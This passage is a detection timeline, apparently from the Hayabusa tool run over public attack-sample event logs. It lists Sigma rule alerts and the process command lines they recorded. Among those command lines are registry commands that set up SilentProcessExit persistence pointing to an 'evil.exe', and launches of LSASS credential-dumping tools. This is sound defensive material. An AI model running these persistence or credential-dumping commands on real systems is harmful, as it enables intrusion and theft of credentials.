IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\a.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:21.535 +09:00,IEWIN7,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:21.535 +09:00,IEWIN7,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:31.957 +09:00,IEWIN7,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:32.222 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"" /stext ""C:\Users\IEUser\AppData\Local\Temp\tmpA185.tmp"" : Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\a.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:47.253 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.441 +09:00,IEWIN7,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 00000040 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.503 +09:00,IEWIN7,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 00000040 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.566 +09:00,IEWIN7,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 00000040 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:55.707 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:06.691 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} : Path: C:\Windows\System32\dllhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:07.019 +09:00,IEWIN7,1,informational,Process Creation,Command: efsui.exe /efs /keybackup : Path: C:\Windows\System32\efsui.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:07.082 +09:00,IEWIN7,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: IEWIN7\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.894 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: IEWIN7\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe"" : Path: C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\userinit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.957 +09:00,IEWIN7,1,medium,Suspicious Userinit Child Process,,rules/sigma/process_creation/win_susp_userinit_child.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:13.972 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:15.054 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\VBoxTray.exe"" : Path: C:\Windows\System32\VBoxTray.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:16.592 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe"" : Path: C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:23.405 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:26.811 +09:00,IEWIN7,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:26.999 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"" /stext ""C:\Users\IEUser\AppData\Local\Temp\tmp7792.tmp"" : Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\9QxTsAU9w8gyPj4w\BRE6BgE2JubB.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:23:53.358 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} : Path: C:\Windows\System32\dllhost.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" ""C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\update.hta"" : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\update.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:13:42.294 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:14:32.809 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} : Path: C:\Windows\System32\dllhost.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_mshta_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:21:50.488 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html : Path: C:\Program Files\Internet Explorer\iexplore.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:21:51.035 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" SCODEF:540 CREDAT:275457 /prefetch:2 : Path: C:\Program Files\Internet Explorer\iexplore.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WScript.exe"" ""C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\updatevbs.vbs"" : Path: C:\Windows\System32\wscript.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" C:\Users\IEUser\Downloads\updatevbs.html",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,high,WScript or CScript Dropper,,rules/sigma/process_creation/win_malware_script_dropper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-15 16:22:05.691 +09:00,IEWIN7,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_vbs_sharpshooter_stageless_meterpreter.evtx +2019-06-20 02:22:37.897 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"" /v GlobalFlag /t REG_DWORD /d 512 : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"" /v ReportingMode /t REG_DWORD /d 1 : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:41.709 +09:00,IEWIN7,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:43.944 +09:00,IEWIN7,1,informational,Process Creation,"Command: reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"" /v MonitorProcess /d ""C:\windows\temp\evil.exe"" : Path: C:\Windows\System32\reg.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:43.944 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:45.694 +09:00,IEWIN7,13,critical,Registry Persistence Mechanisms,,rules/sigma/registry_event/sysmon_win_reg_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:55.397 +09:00,IEWIN7,1,informational,Process Creation,"Command: notepad : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:22:58.944 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\windows\temp\evil.exe : Path: C:\Windows\Temp\evil.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\werfault.exe"" -s -t 1340 -i 1352 -e 1352 -c 0",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:01.928 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe : Path: C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: taskeng.exe {9AAB3F76-4849-4F03-9560-B020B4D0233D} S-1-5-18:NT AUTHORITY\System:Service:,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:01.990 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe : Path: C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:02.350 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashUtil32_30_0_0_134_Plugin.exe -check plugin : Path: C:\Windows\System32\Macromed\Flash\FlashUtil32_30_0_0_134_Plugin.exe : User: IEWIN7\IEUser : Parent Command: taskeng.exe {CF661A9C-C1B0-45D5-BC80-11E48F3A0B96} S-1-5-21-3583694148-1414552638-2922671848-1000:IEWIN7\IEUser:Interactive:LUA[1],rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:10.334 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:11.694 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\windows\temp\evil.exe : Path: C:\Windows\Temp\evil.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\werfault.exe"" -s -t 3020 -i 2396 -e 2396 -c 0",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 17:07:42.331 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\NETSTAT.EXE"" -na : Path: C:\Windows\System32\NETSTAT.EXE : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:42.331 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.909 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""cmd"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.909 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.925 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""cmd"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.925 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""cmd""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:58.816 +09:00,IEWIN7,1,informational,Process Creation,"Command: systeminfo : Path: C:\Windows\System32\systeminfo.exe : User: IEWIN7\IEUser : Parent Command: ""cmd""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-21 16:35:37.185 +09:00,alice.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: Outflank-Dumpert.exe : Path: C:\Users\administrator\Desktop\x64\Outflank-Dumpert.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.329 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.329 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.377 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.128 +09:00,alice.insecurebank.local,1,informational,Process Creation,"Command: rundll32.exe .\Outflank-Dumpert-DLL.dll, Dump : Path: C:\Windows\System32\rundll32.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.259 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.259 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.264 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.729 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.729 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.749 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:36:50.450 +09:00,alice.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: AndrewSpecial.exe : Path: C:\Users\administrator\Desktop\AndrewSpecial.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:36:51.682 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-07-04 05:39:29.223 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.129 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.129 +09:00,IEWIN7,8,high,Suspicious Remote Thread 